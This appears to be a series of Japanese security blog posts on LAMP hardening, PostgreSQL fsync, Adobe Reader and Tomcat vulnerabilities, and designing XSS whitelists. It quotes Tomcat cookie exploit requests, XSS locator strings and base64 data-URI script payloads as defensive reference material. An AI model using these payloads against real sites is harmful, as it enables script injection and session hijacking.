記事の著者が古くてバージョンアップしていないPHPホスティングサービスは「ゴミ同然」(「腐った果実」と表現しているので)と記述していますが、長い目で見てPerl/Ruby/Pythonに変える事によりこの状況が変わる、とは思えません。言語を替えるとフレームワーク毎新しくしなければならないので、替えた直後は最新のフレームワークと言語になり安全な状態になりますが、時間と共に安全性は劣化していきます。同じような管理では問題をリセットして先送りするだけになります。
たいていのホスティングサービスは危なっかしい骨董品のLAMPスタックを後生大事に使っているので、まともなWebホスティングサービスを探したい場合はWebHosting Talkをチェックするとよいでしょう。
このアドバイスは適切です。しかし、求める物はもう少し具体的に書いた方が良いでしょう。ホスティングサービスにセキュリティを求める場合、仮想プライベートサーバ以上にして、自分でインフラとして利用するWebサーバ、言語、ライブラリ、フレームワーク、アプリケーションを管理しなければなりません。
自分でインフラとして利用するWebサーバ、言語、ライブラリ、フレームワーク、アプリケーションを管理するのは面倒なように思えますが、Perl/Ruby/Pythonを使っても同じです。Perl/CPANを利用したサイトでPerl/CPANのアップデートを行っていないサイトは数えきれないほど見ています。
『MySQL Reference Manual』のセキュリティに関する章も役に立ちます。また、chrootはセキュリティデバイスではありませんが、Security Focusは使用を推奨しています。
これも非常にミスリーディングで悪い記述だと思います。Security Focus記事の著者は、chroot制約が乗り越える事ができることくらいは知っていると思われます。(少なくともそう願いたい)他のデータベースサーバも同じですが、MySQLにはシステム上のファイルをロードする機能があります。この機能を利用して/etc/passwd等を読み取られないよう、chroot環境にMySQLをインストールするのはセキュリティ上非常に重要な意味があります。
この記述では「Security Focusはセキュリティ上意味が無いchrootを使う設定を推奨している」と読めてしまいます。
Fedora Linuxには、Apacheポリシーを含む良質のSELinuxポリシーと、グラフィカルな管理ユーティリティsystem-config- selinuxが標準で用意されています。簡単とは言いませんが、ゼロから始めるよりは簡単です。AppArmorも調べてみる価値があります。 SELinuxより簡単に扱えるとされており、どちらが優れているかを巡る議論は楽しく、有益な情報が得られます。
これは良いアドバイスです。
MySQL等もchrootよりはSELinuxで強制アクセス制御を使った方がより安全であることは言うまでもありません。
PHPにはフェイルセーフ機能としてsafe_modeやopen_basedirがありますが、これらはセキュリティを保証する機能ではありません。不要なファイルアクセスを厳密に制限するにはSELinux等を利用すべきです。
しかし、フェイルセーフ機能が無用か、というとそれは違います。chrootの様に適切に利用するとシステムの安全性を向上させる事ができます。
まとめ
前提条件などが無い記事なので真意は計りかねますが、これだけは間違えてはなりません。
言語を替える事はセキュリティ問題の解決策にはなりません。
この記事からは「LAMPセキュリティを強化する4つの方法」の最も重要な要素は「PをPHPからPerlかPython(もしくはRubyでLAMR)に変える事」である「Pを変える事により大きくセキュリティが強化される」と読めます。これは大きな勘違いです。「Javaにすれば自動的にセキュアでスケールアウトが可能なWebアプリができる」と勘違いしているのと同じです。
言語を替えれば、短期的にセキュリティ問題が改善するのは当たり前です。新しく構築するシステムにだれもわざわざ脆弱性があるバージョンを選んだりしません。根本的な問題は全く別です。
この記事は短いので言葉たらず、もしくは著者の見識不足、または私の読解力・知識不足なのかもしれませんが、この記事は非常に悪い誤解を与える記事だと思います。
EnterpriseZineの「LAMPセキュリティを強化する4つの方法」はお粗末なので、忙しくていつ書けるか解りませんが、次のエントリは「LAMPセキュリティを強化する4つの方法」(方法はもっと増えるかも)テーマに書くことにします。
参考
LAMPのPをPHPからPerl/Python/Rubyに替えるだけではセキュリティは向上しない証拠
http://blog.ohgaki.net/lamp-p-php-perl-python-ruby
「例えば、PHPを避ける」ってなぁにその曖昧な書き方?
http://neta.ywcafe.net/000838.html
1 コメント
どのような言語を使うにせよ、セキュリティ対策の知識を持っていなければ意味がありませんね。
コメントを残す
セキュリティ関係の番組
YouTubeに投稿されていたセキュリティ関係の番組です。
全て英語で字幕などはありません。日本でも同じような番組があるのかも知れませんが、テレビはニュースくらいしか見ないので放送されているのかどうか分かりません。
英国BBCのニュース番組のようのです。
Orthus(コンピュータセキュリティの会社)の方のコメントは全くの正論です。多くの会社はセキュリティ製品を購入することで安全性が確保できると考えて、もっとも基本的な対策であるソフトウェアのアップデートを行っていないケースは少なくありません。コンピュータシステムへの攻撃も進化しているので防御策のアップデートも書かせません。
比較的、最近アメリカで作成されたと思われる番組です。
番組中で「セキュリティ上の問題はネットワークではなくアプリケーションにある」と指摘しています。セキュリティに詳しい方には、ネットワークセキュリティの問題よりアプリケーションの問題の方が大きな問題になっている事は常識です。多くのエンドユーザが同じ認識であるか、は疑問です。
eEyeによるMS Office文書の脆弱性を利用した攻撃の実演です。
頻繁に行われているタイプの攻撃です。知らない方が見るとあまりに簡単に攻撃でき、キーロガーがインストールされる様子は衝撃かも知れません。Vistaでも利用できる攻撃はいくらでもある、と出演している方が紹介しています。出演している方の意図は「Vistaを使っているから、と安心できない」と言いたいと思いますが、この番組を見た方が「Vistaでも危ないならXPのままでも良いか」「VistaとXPのセキュリティレベル同じくらいなのか」と思っていしまわないか心配です。
フィードバックはまだありません...
コメントを残す
予想よりは普通のサイトが危ない
コンピュータワールドの記事によると普通のサイトがかなり危ないようです。
「およそ1,000分の1の割合で、悪意あるWebページが存在することになる」と、Googleのシニア・スタッフ・ソフトウェア・エンジニア、ニールス・プロボス(Neils Provos)氏は述べている。
Linux/Apacheを狙った攻撃 - 確認方法はmkdir 1で紹介している自動化された攻撃では1月の時点で少なくとも1万サイト以上のごく一般的なサイトがマルウェア配布に利用されていると報道されています。
ある程度予想は出来ましたが、
GoogleのProvos氏が驚いたのは、一般のWebサイトがポルノ・サイトよりも安全とは必ずしも言い切れないという調査結果が出たことだ。「調査を始めた当初は、低俗なWebサイトほど危険だと考えていた。実際、アダルト系のページにアクセスしたときは、悪意あるソフトウェアを仕込まれる危険が若干高くなることがわかった。しかし、ほかのページと大きな差があるわけではなかった」(Provos氏)
には私も驚きました。もやは「怪しげなサイトにアクセスしない」といったセキュリティ教育は意味がなくなってきたと言えると思います。
ある程度予想はしていたので、最近エンドユーザ向けに書いたインターネットを安全に利用するTipsには「怪しげななサイトにアクセスしない」は入れていませんでしたが、実際数値として同じレベル、かつ1000に1つ割合で悪意のあるWebページが存在するのはかなりの脅威です。
1 コメント
コメントを残す
JPUG北海道 RUBY札幌 合同セミナーの資料
2月16日に札幌で行われたJPUG北海道 RUBY札幌 合同セミナーの資料です。
http://blog.ohgaki.net/media/users/yohgaki/PostgreSQL-Performance.pdf
セミナーの際には風邪の為、声がでず、非常に聞き辛かったと思います。聞きにお越しいただいた方には申し訳ないです。
fsync=falseなのでかなり速い事は理解していただけたと思います。(かなりのスピートダウンですがfsync=trueでも速いです)セッションをデータベースで管理した場合などにfsync=falseで運用しても問題ないでしょう。しかし、絶対にデータベース上のデータの不整合は困る場合にはfsync=trueに設定しなければなりません。
とは言ってもfsync=falseの速さは捨てがたいと言う方はUPSを利用すると良いでしょう。UPSを付ければリスクはかなり低減できるので、リスクとメリットのトレードオフで選択すれば良いと思います。
UPSを使っても防げないデータの不整合
- カーネルがクラッシュした場合
- HDDのケーブルが抜けたなど、物理的問題の場合
- 電源が壊れた場合(これも物理的な問題ですが、2重化すればかなりリスク低減可能)
- HDDの冗長化を行っていない場合(RAID組まずにデータ保護の為にUPS使っても....ですが念のため)
等が考えられます。
HDDの冗長化を行っていないサイトのデータベースであれば、fsync=falseが困る訳も無いでしょう。このような場合はfsync=falseでどんどん使ってよいでしょう。
fsync=falseはデータベースサーバ全体の設定なので結局は「ショッピングサイトなどでどんな場合でも受注済みデータが無くなると困る」のような要求があるとfsync=falseで運用できないのでは、とご意見も頂きました。このような場合でもログを別の方法で残す、例えば、メールで送信してしまう、別ディスクにジャーナルとして書き込む、など方法でデータ保存の方法を冗長化していればfsync=falseでも困らないサイトは少なくないと思います。そうは言っても、困る物は困る場合はfsync=trueで利用すると良いでしょう。
データベースに拘らずデータの冗長化を考えると、fsync=falseは強力な武器になります。
# PostgreSQL 8.3ならsynchronous_commit=offに設定してリスク
# を軽減する事も可能です。ところで、別ディスクにジャーナル
# として保存する場合はDBよりも先にジャーナルファイルに書き
# 込み、fsyncを忘れない様に注意してください。
# メール送信する場合はリモートのメールサーバが受け取った後
# にDBに書き込むように注意してください。つまりローカルのメー
# ルキューにいれるのみだとジャーナルのように使えない場合が
# あります。qmailならinjectが正常に終了すればOKだとは思い
# ますがメールシステムによっては高い信頼性を期待できない場合
# もあります。
1 コメント
コメントを残す
Adobe Readerの脆弱性は1月から攻撃に利用されていた
Adobe Readerのセキュリティフィックスは2008/2/7にリリースされました。
http://www.adobe.com/support/security/advisories/apsa08-01.html
APSA08-01 Adobe RreaderとAcrobat8のセキュリティアップデート公開 02/07/2008
しかし、次の記事によるとこの脆弱性を利用した攻撃は1月から始まっていたとしています。
http://www.cio.com/article/182055/Attacks_Aimed_At_Adobe_Reader_Acrobat_Flaws_Intensify
In January, iDefense noticed that the malicious PDF document was being delivered through malicious banner advertisements.
この攻撃は悪意のあるバナー広告を利用し、バナーにアクセスしてPDFファイルをダウンロードし開いてしまうと、Zonebac(Symantecの名称)と呼ばれるトロイの木馬がダウンロードされるとしています。
# プラグインで自動的に開いてしまう設定のブラウザは少なくない
2006年から既知のプログラムであり、通常のアンチウィルスソフトで検出可能と思われます。トロイの木馬は実行しなければ被害は発生しないので実際に被害が発生したケースは少ないと考えられます。
追記:
整数オーバフローで任意コード実行だそうです。かなり危険度は高いと考えた方が良いようです。上記の記事では観測された攻撃はダウンローダーでダウンロードしただけだった、考えるべきでしょう。少なくともバナーをクリックしたらPDFが表示されたり、表示されかけた方は念入りにシステムをチェックするべきだと思います。もしステルス型のルートキットなら見つけるのはかなり難しいとは思います... 管理者権限で利用していなければルートキットのインストールやシステム関連設定の変更は難しいのですけどね...
フィードバックはまだありません...
コメントを残す
Taint mode for PHP 5.2.5
PHPのTaintモードパッチです。最近更新されていたようです。
ftp://ftp.porcupine.org/pub/php/php-5.2.5-taint-20080130.README.html
Taintモードはあれば良い程度の機能ですが、フールセーフ機能(フェイルセーフでなくフールセーフ - fool safe)としては便利です。入力バリデーション用のコードは必須ですが、そのようなコードが無い場合やあっても不完全な場合には有用です。
PHP 5.2.5よりCVS HEADとPHP_5_3ブランチ用のパッチを作った方が採用されやすいのですが....
このパッチは関数毎に違うマークを付けるtaintモードなのでかなり大きいです。(+遅い)
フィードバックはまだありません...
コメントを残す
TomcatのCookie処理の問題
脆弱性は意外と単純な所に残っている場合の方が多いです。
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5333
Apache Tomcat 6.0.0 through 6.0.14, 5.5.0 through 5.5.25, and 4.1.0 through 4.1.36 does not properly handle (1) double quote (") characters or (2) %5C (encoded backslash) sequences in a cookie value, which might cause sensitive information such as session IDs to be leaked to remote attackers and enable session hijacking attacks. NOTE: this issue exists because of an incomplete fix for CVE-2007-3385.
これだけだと解りづらいですが以下のURLにもう少し詳しく書いてあります。
http://www.securityfocus.com/archive/1/archive/1/487822/100/0/threaded
Examples:
+++
GET /myapp/MyCookies HTTP/1.1
Host: localhost
Cookie: name="val " ue"
Cookie: name1=moi
+++
http://example:8080/examples/servlets/servlet/CookieExample?cookiename=t
est&cookievalue=test%5c%5c%22%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A0
1+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B
...
今まで見つからなかったのが不思議なくらいですが、脆弱性とはそういうものです。
CVEをTomcat 4のメンテナンスは滞っているのでは気になったのですが
4.1.x users should build from the latest svn source
とsubversionリポジトリからビルドしなければならないようです。少なからずTomcat 4で運用しているサイトがあると思います。この問題に対応できてないのではないか、と心配になります。
subversionリポジトリだけでも更新されていれば適切に管理しているサイトであれば十分だとは思いますが、リポジトリだけで修正されている問題は結構あrます。
http://tomcat.apache.org/security-4.html
important: Information disclosure CVE-2005-3164
If a client specifies a Content-Length but disconnects before sending any of the request body, the deprecated AJP connector processes the request using the request body of the previous request. Users are advised to use the default, supported Coyote AJP connector which does not exhibit this issue.
Affects: 4.0.1-4.0.6, 4.1.0-4.1.36
moderate: Cross-site scripting CVE-2007-1355
The JSP and Servlet included in the sample application within the Tomcat documentation webapp did not escape user provided data before including it in the output. This enabled a XSS attack. These pages have been simplified not to use any user provided data in the output.
Affects: 4.0.1-4.0.6, 4.1.0-4.1.36
low: Cross-site scripting CVE-2007-2449
JSPs within the examples web application did not escape user provided data before including it in the output. This enabled a XSS attack. These JSPs now filter the data before use. This issue may be mitigated by undeploying the examples web application. Note that it is recommended that the examples web application is not installed on a production system.
Affects: 4.0.0-4.0.6, 4.1.0-4.1.36
low: Cross-site scripting CVE-2007-2450
The Manager web application did not escape user provided data before including it in the output. This enabled a XSS attack. This applciation now filters the data before use. This issue may be mitigated by logging out (closing the browser) of the application once the management tasks have been completed.
Affects: 4.0.1-4.0.6, 4.1.0-4.1.36
low: Session hi-jacking CVE-2007-3382
Tomcat incorrectly treated a single quote character (') in a cookie value as a delimiter. In some circumstances this lead to the leaking of information such as session ID to an attacker.
Affects: 4.1.0-4.1.36
low: Cross-site scripting CVE-2007-3383
When reporting error messages, the SendMailServlet (part of the examples web application) did not escape user provided data before including it in the output. This enabled a XSS attack. This Servlet now filters the data before use. This issue may be mitigated by undeploying the examples web application. Note that it is recommended that the examples web application is not installed on a production system.
Affects: 4.0.0-4.0.6, 4.1.0-4.1.36
low: Session hi-jacking CVE-2007-3385
Tomcat incorrectly handled the character sequence \" in a cookie value. In some circumstances this lead to the leaking of information such as session ID to an attacker.
Affects: 4.1.0-4.1.36
low: Session hi-jacking CVE-2007-5333
The previous fix for CVE-2007-3385 was incomplete. It did not consider the use of quotes or %5C within a cookie value.
Affects: 4.1.0-4.1.36
important: Information disclosure CVE-2007-5461
When Tomcat's WebDAV servlet is configured for use with a context and has been enabled for write, some WebDAV requests that specify an entity with a SYSTEM tag can result in the contents of arbitary files being returned to the client.
Affects: 4.0.0-4.0.6, 4.1.0-4.1.36
フィードバックはまだありません...
コメントを残す
ブログらしくブックマークなどに登録してもらう為のリンク追加
たいした事を書くつもりが無かったので、読んでみたいと思っていただいた方や検索エンジンから見つけて読んでいただける方だけで良い、とブックマークサービスなどに追加するボタンを付けていませんでした。時代が時代なので遅ればせながら付けてみました。
# と言っても自分自身はソーシャルブックマークサービスを利用していません。
# 問題があったら教えてください。
このブログに貼付けたボタン/リンクは、以下のサイトとURLから生成したかURLの情報を参考に作成しました。
他にこれもというサイトがあれば教えてください。リモートのJavaScriptを読み込まないサービスであれば追加したいと思います。
...
RSSリーダ型
iGoogleに追加
http://www.google.co.jp/webmasters/add.html
ガジェットやRSSを追加するHTMLコードを生成できます。トップページ右のサイドバーにのみ付けています。
はてなRSSに追加
http://r.hatena.ne.jp/help#addto
ブログに貼り付けるHTMLコードを生成できます。トップページ右のサイドバーにのみ付けています。
Livedoor Readerに追加
http://reader.livedoor.com/guide/rssreader.html
見落としているだけと思いますが、公式な購読リンクの作り方が解説されているページが見当たりませんでした。購読リンクの付け方は簡単なので既にLivedoor Readerに登録リンクが設定されているページを参考に作りました。
My Yahoo!に追加
http://my.yahoo.co.jp/s/guide/button/addtomy/index.html
ブログに貼り付けるHTMLコードを生成できます。後述するYahoo!ブックマークはJavaScriptを利用しているのでJavaScriptが無効な場合、利用できませんがMy Yahoo!に追加は通常のリンクになっています。トップページ右のサイドバーにのみ付けています。
ブックマーク型
はてなブックマークに追加
http://b.hatena.ne.jp/help/button
メジャーなブログサービスへの追加方法が記載されています。JavaScript無しで追加できるのでセキュリティ上は問題無し。
個別(permalink)のページとトップページ右のサイドバーに付けました。
関連項目
ライブドアクリップに追加
http://clip.livedoor.com/guide/blog.html
はてなのページの方が解りやすいですが、Webサイトをちょっといじった事がある方ならこの程度の説明でも十分と思います。ライブドアブログを利用している方なら簡単に追加できるようです。こちらもJavaScript無しで追加できます。
個別(permalink)のページに付けました。
Buzzurl[バザール]に追加
http://buzzurl.jp/icongenerator/
こちらはSeesaa、FC2、Bloggerなどのブログ用のコードを生成できるようになっています。基本的に
permalinkを付ければ良いだけなので「はてなブックマーク」と使い方は同じです。
Yahoo!ブックマークに追加
http://bookmarks.yahoo.co.jp/settings/tools/savelink
JavaScriptを利用しているのでNoScriptなどが有効な場合利用できない。JavaScriptを使用していますがリモートのJavaScriptは読み込んでいないのでセキュリティ上の問題はない。
個別(permalink)のページとトップページ右のサイドバーに付けました。
AddClips
http://www.addclips.org/create.htm
いろいろなソーシャルブックマークに対応している。一発で多くのサイトに対応できるのは便利だが、リモートのJavaScriptを読み込んでいるのでこのサービスを信用していないと使えない。JavaScriptを使用しているので当然、NoScriptなどでJavaScriptをブロックしている場合は利用できない。大手サービスでも採用しているようですが個人サービスなのでその辺りが心配なところです。
このブログにも貼り付けようかと思いましたがJavaScriptを読み込んでいるので止めました。リモートJavaScript無し版があれば使ってみたいです。
個別エントリに貼り付けたコード
b2evolution 2.xを使っている方で、evopressに似た構造のスキンを使っていないと、そのまま使えないとは思います。参考までに個別エントリに貼り付けたコードを書いておきます。
single.main.phpの適当な場所に貼り付けるとブックマーク用のボタンが表示されます。
<a href="http://b.hatena.ne.jp/entry/<?php echo $Item->get_permanent_url(); ?>">
<img src="http://blog.ohgaki.net/media/users/yohgaki/b_entry.gif" width="16" height="12" style="border: none;"
alt="このエントリーを含むはてなブックマーク" title="このエントリーを含むはてなブックマーク" /></a>
<a href="http://clip.livedoor.com/redirect?link=<?php echo $Item->get_permanent_url(); ?>&title=<?php echo $Item->title;?>&ie=utf-8" class="ldclip-redirect" title="この記事をクリップ!"><img src="http://parts.blog.livedoor.jp/img/cmn/clip_16_12_w.gif" width="16" height="12" alt="この記事をクリップ!" style="border: none;vertical-align: middle;" /></a>
<a href="javascript:void window.open('http://bookmarks.yahoo.co.jp/bookmarklet/showpopup?t='+encodeURIComponent(document.title)+'&u='+encodeURIComponent(location.href)+'&ei=UTF-8','_blank','width=550,height=480,left=100,top=50,scrollbars=1,resizable=1',0);"><img src="http://i.yimg.jp/images/sicons/ybm16.gif" width="16" height="16" alt="Yahoo!ブックマークに登録" style="border:none;"></a>
面倒がってGoogleやAmazonへのリンク等が正しいXHTMLでなかったのを修正していませんでした。いろいろ貼り付けたついでにValid XHTMLとしてエラーが出ないように調整しました。
フィードバックはまだありません...
コメントを残す
ホワイトリストはどう作る?
追記:
この文章を書いたときに少し意地悪で解り辛いかも、と思った事を覚えています。本当に誤解されてしまっている方もいるので追記します。
私はいつも基本的に能動的なセキュリティ対策を選択するようにお勧めしています。能動的なセキュリティ対策とは全ての入力値の厳格なバリデーション処理であり、出力時に過剰とも言えるエスケープ処理です。いわゆるホワイトリスティングと呼ばれるような対策です。
(過剰過ぎるエスケープ処理はセキュリティ問題の原因になるので2重エンコーディングやエスケープはしないように。念のため)
このエントリの書き方が意地悪な書き方であるのは「ホワイトリストはどう作る?」と題して、その書き方を解説していない事です。しかし、それは実際にXSS Cheat Sheetを読み、理解してもらい、その上で安全なホワイトリストはどう作るか自分で考えて欲しかったからです。
その後にホワイトリストとして作ったチェックが、簡単な変更でブラックリストになってしまう事を紹介したのも誤解の一因でしょう。
ホワイトリストの作り方にはケースバイケースで幾つもの指針が有りますが、最も重要と言える指針は
「許容する入力・出力は必要最低限だけ留め、許容した入力・出力は確実に安全である事を保証し、もし不正な入力があった場合は必ず記録し、必要であればプログラムの実行を停止する」
です。これは私の本でも書いている事です。稀に誤解されるので書きますが「プログラムの実行を停止する」とは入力間違いで実行を停止するのではなく、不正な入力で実行停止する事を意味します。
もう少し具体的に、テキスト出力に対するXSS対策で有れば、出力するテキストの文字エンコーディングが正しい事を検証し、かつ文字エンコーディングに合ったエスケープ方法で全ての特殊文字をエンコーディングする事です。HTMLの属性をユーザが指定可能にするのであれば、その属性に対して許可する値を厳格に定め、それ以外の入力は拒否する事です。同じHTML出力するから、といって同じように取り扱えません。テキストならテキスト、属性ならその属性、スタイルならスタイル、JavaScriptならJavaScript、E4XならE4X、DBMSならDBMS、メールシステムならメールシステムの為の「正しいホワイトリストの作り方」があります。
このエントリであえて「ホワイトリストをどう作るか?」書いていない理由は技術革新の早いWebシステムで具体的なホワイトリストの作成方法を書いても無意味となる可能性があるからです。さらに、一つのシステムについてどのようにホワイトリストを作るか解説しても片手落ちです。それよりも最も防御が難しいXSSの攻撃方法を紹介したXSS Cheat Sheatを参照し、自分で最新の攻撃方法を知った上で自分でホワイトリストの作り方を知った方が何倍も価値があり、時間の経過と共に訪れる情報の陳腐化も防げると考えているからです。
ところで、WAFをホワイトリスト形式で設定してWebアプリケーションの安全性を向上させる事も可能ですが本末転倒です。アプリケーションの入出力バリデーションをホワイトリスト化する方が筋であり、順番が逆です。アプリケーションがホワイトリスト方式でのバリデーションを行えば、WAFなどはブラックリスティングのみで利用しても構わないですし、高価なWAFを購入して速度を落とす必要もありません。簡易WAFと動的フィルタリングを組み合わせる方がコスト的にも合理的です。
PCIDSS(Payment Company Industry Data Security Standard)では「WAFまたはコード監査」をコンプライアンスの必要条件としています。WAF(Web Application Firewall)の利用が認められているのは、コード監査が間に合わないユーザに対する救済措置の意味合いがかなり強いと考えています。
WAFはゼロデイ攻撃からシステムを防御する仕組みとして欠かせません。私もWAFの必要性は認めています。しかし、PCIDSSで「WAFおよびコード監査」の両方を要求していません。PCIDSSを策定したセキュリティ専門家も私と同様にWAFの効果を限定的と評価している事の現れでしょう。(将来的には両方必要要件になるかも知れません。しかし、その場合はWAFの機能要件は緩和される可能性が高いと思います)
コード監査+簡易WAFの方がコストメリットが高い、とする意見に疑問を持たれた方の為に記載します。まずコード監査だけではコストが高く付くケースもあります。例えば、アプリケーション設計自体に問題がありセキュアな設計になっていない場合、コード監査後の修正と検証にWAF導入より多くのコストが必要となる場合があります。
しかし、一旦セキュアな設計+コード監査+簡易WAF(ブラックリスティング方式)でシステム構築を行えば、態々設定ミスがありがちなホワイトリスティング方式によるWAF設定など必要なくなります。ホワイトリスティング方式よるWAFの場合、アプリケーションのちょっとした改修でもWAF設定の修正と設定の検証が必要になります。ホワイトリスト方式のWAFは導入すればOKという物ではなく、常にメンテナンスが必要なシステムです。しかも、このエントリでも紹介しているようなメンテナンス時のちょっとしたミスでホワイトリストがブラックリストになってしまう危険性もあります。
総合的なコストが"セキュアな設計+コード監査+簡易WAF"と"ホワイトリスティング方式のWAF"の導入とどちらが低くなるかはケースバイケースですが、直感的に多くのシステムで"セキュアな設計+コード監査+簡易WAF"の方が長期的なコストは確実に安く、リスクも少なくなる可能性が高い、事が解ると思います。
この追記に対応するエントリも作りました。よろしければこちらもどうぞ。
http://blog.ohgaki.net/-13
以下から元のエントリです。
スクリプトインジェクション(XSS)防止にブラックリストが機能しない事は明らかです。ホワイトリストはどう作れば良いか参考となるリンクです。どう作るか書いておいても古くなる可能性が高いので、どこを参考に作れば良いか参考URLを書いておきます。
以下のリンクの情報からスクリプトのインジェクションがどのように行えるかを参考にホワイトリストを作れば概ね間違いないと思います。
...
XSS Cheat Sheet
スクリプトインジェクション手法の中でも有名な手法を集めているサイトです。XSSロケータと呼ばれている文字列はスクリプトインジェクション脆弱性検出に重宝します。よくある脆弱性であればこの文字列で簡単に検出できます。
ロケータ1
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
ロケータ2
'';!--"<XSS>=&{()}
sla.ckers.orgのXSSフォーラム
http://sla.ckers.org/forum/list.php?2
今気が付いたのですが日本のXSSコンテストの情報も掲載されていますね。
いろいろな方が集まって変わった手法でスクリプトを実行する方法を記載しています。例えば、現時点で以下のスレッド
http://sla.ckers.org/forum/read.php?2,15812,20302#msg-20302
の最後にはdata URIを使用したサンプルが載っています。
Data urls tricks:-
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4>test</a>
<a href= data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4>test</a><iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4>
This one shows that FF reads base64 and ignores every character after until the payload:-
<a href=data:text/html;;base64a,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4>Test</a>Another example:-
<a href=data:text/html;;base64ANYTHING,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4>Test</a>
スクリプトインジェクションに多少詳しい方ならdata URLを使ったフィルタすり抜けのテクニックはよくご存知だと思います。
正規表現は控えめに
下手な正規表現だとホワイトリストのつもりでもスクリプト実行が出来てしまう場合があるので注意が必要です。可能な限り厳格かつ間違いを防ぐため正規表現の使用は控えめにすると良いと思います。
どのようなデータが利用されるか決まっている場合は、データリストを作成してリストと一致するか確認するようにします。例えば、CSSスタイルならstyle_a, style_b, style_cだけ許可するなら名前のリストを作って一致するものだけ許可するようにします。
正規表現を使ってこのスタイルをチェックするために、"style_" + 任意の一文字となる
style_.
を使うとスクリプトインジェクションに脆弱になってしまう可能性があるのは言うまでもありません。
そもそも、任意の一文字なら
style_?
でしょう。とか、aからcだけなので
style_[a-c]
でしょう、と考えられるかも知れません。コード監査時には正規表現も重点的な監査対象です。正規表現は少ないに越したことはありません。「デフォルトでエスケープする」と同じで監査し易いコードはより安全なコードになります。
最初に書いたプログラマは正規表現(+セキュリティ)のエキスパートで[a-c]と書いておいても、いつ他の正規表現に不慣れなプログラマが「.」に書き換えてしまうか分かりません。「.」くらいならまだ良いですが、
style_.*
「.*」に書き換えられたらどうしようもありません。
フィードバックはまだありません...
コメントを残す
企業ユーザはPHP4からPHP5への移行は慎重にすべき
2008年1月3日のPHP4.4.8のリリースを持ってPHP4サポートが終了しました。海外では「PHP5へ移行しよう」キャンペーンも始まりました。
私は従来から「PHP5へ早く移行すべきです」と繰り返し勧めて来ました。現在でも全てのオープンソースアプリケーションの開発者は、今すぐPHP5に移行すべき、と考えています。
しかし、新規開発を除き、企業ユーザには今すぐPHP5へ移行すべきだ、と一概にアドバイスできません。3つのお薦めしない理由があります。
- PHP4からPHP5へのマイグレーションはそれほど簡単ではない
- PHP5に移行するとマイナーバージョンアップに追随しないとならない
- PHP5.3のリリースが準備されている
...
PHP4からPHP5へのマイグレーションはそれほど簡単ではない
PHP4からPHP5への移行でチェックしなければならない箇所はいろいろな所で書かれていると思います。私もPHP4からPHP5へのマイグレーションについて技術評論社のWebサイトにて執筆しています。この記事を読んでいただくとPHP4からPHP5への移行は割といろいろな事に注意しなれけばならない事が分かると思います。規模が大きなシステムや安定運用が必須のサービスでは移行の工数は大きな物になってしまいます。
PHP5に移行するとマイナーバージョンアップに追随しないとならない
PHPの開発チームはマイナーバージョンアップ版をリリースすると、以前のバージョンはアップグレードしていません。つまり新しいマイナーバージョンアップ版でセキュリティホールが修正されていても以前のマイナーバージョン用にセキュリティパッチを提供してきませんでした。
私はこのリリース方針はセキュリティ上非常に問題だと考えています。PHPのマイナーバージョンアップには非互換の変更が多く含まれている事が通常だからです。商用サービスを提供している企業は簡単にPHPのバージョンを上げる訳にはいきません。
PHP5.3のリリースが準備されている
PHPのCVSブランチでは次のPHP5リリースとなるPHP 5.3ブランチが昨年から設けられています。PHP 5.3はPHP6からUnicodeサポートを削除した物とほぼ同じ機能を持つリリースとなります。PHP 5.2からPHP 5.3へのバージョンアップはメジャーバージョンアップに近い、と言える機能追加が行われます。ネームスペースやICU機能のサポート等です。
今現在、PHP4からPHP5へ移行する場合、PHP 5.2へ移行するしか選択肢がありません。しかし、PHP 5.2へ移行した場合、近い将来PHP 5.3へ移行せざるを得なくなります。PHP 5.2からPHP 5.3への移行はメジャーバージョンアップ程度のバージョンアップであることを覚悟しなければなりません。幸いな事に、PHP 5.2は今までのバージョンと異なり、PHP 5.3リリース後もしばらくメンテナンスが継続される事が決まっています。ただし、どのくらいサポートするかは不明確です。
PHP 5.3に追加されるネームスペース、ICU等の機能はPHP6でもサポートされます。つまり、PHP 5.3アプリケーションはスムーズにPHP6に移行可能です。さらに重要な事はPHP 5.3は非常に長い期間サポートされる事が期待できるリリースである事です。よほどの事が無い限りPHP 5.4はリリースされないかも知れません。企業ユーザはオープンソースプロジェクトと異なりROIが重要です。全ての企業はPHP5への移行を見合わせるべき、とは言いませんが今直ぐにPHP5へ移行するのは効果的なIT投資でない企業も多いと思われます。
企業ユーザのオプション
ただでさえメンテナンス状態が悪かったPHP4を継続利用するのはセキュリティ上のリスクも大きいです。システム担当者もPHP4と使いつづけ万が一セキュリティインシデントが発生した場合「サポートが終了しているアプリケーションを何故使いつづけてきたのか?」と指摘されても困ります。何らかの対策を行わなければなりません。現在PHP4を利用しているユーザは、PHP5に移行するか、安全にPHP4を利用する方法を見当しなければなりません。
この様な状況となるのは昨年秋には分かっていました。ですから、SRA OSS Inc.はPHP4のセキュリティアップデートサポートを昨年発表しています。このサービスはPHP 4.4.8にもセキュリティパッチが必要と考えられる箇所にパッチとセキュリティ情報を提供するサービスになっています。実は先日リリースされたPHP 4.4.8用のパッチも既にあります。
# 私もこのサービス提供に関わっています。
# このため最新版のPHP 4.4.8用パッチがあることも
# 知っています。
今すぐPHP4からPHP5へのアップグレードを検討し、PHP 5.2にするのも有用な選択肢です。PHP 5.2には様々な新機能が追加されパフォーマンスが向上している部分も少なくありません。
しかし、PHP 5.3が実用レベルに達してからPHP5へアップグレードする方が高いROIが期待できる企業も少なくないでしょう。PHP 5.3へマイグレーションするのでは無く、ほぼスクラッチ&ビルドでPHP 5.3から開発するのも手法の一つです。このような企業はPHP 5.3への移行へのつなぎとして、信頼できる商用PHP4サポートを利用するも賢明な選択肢であると思います。
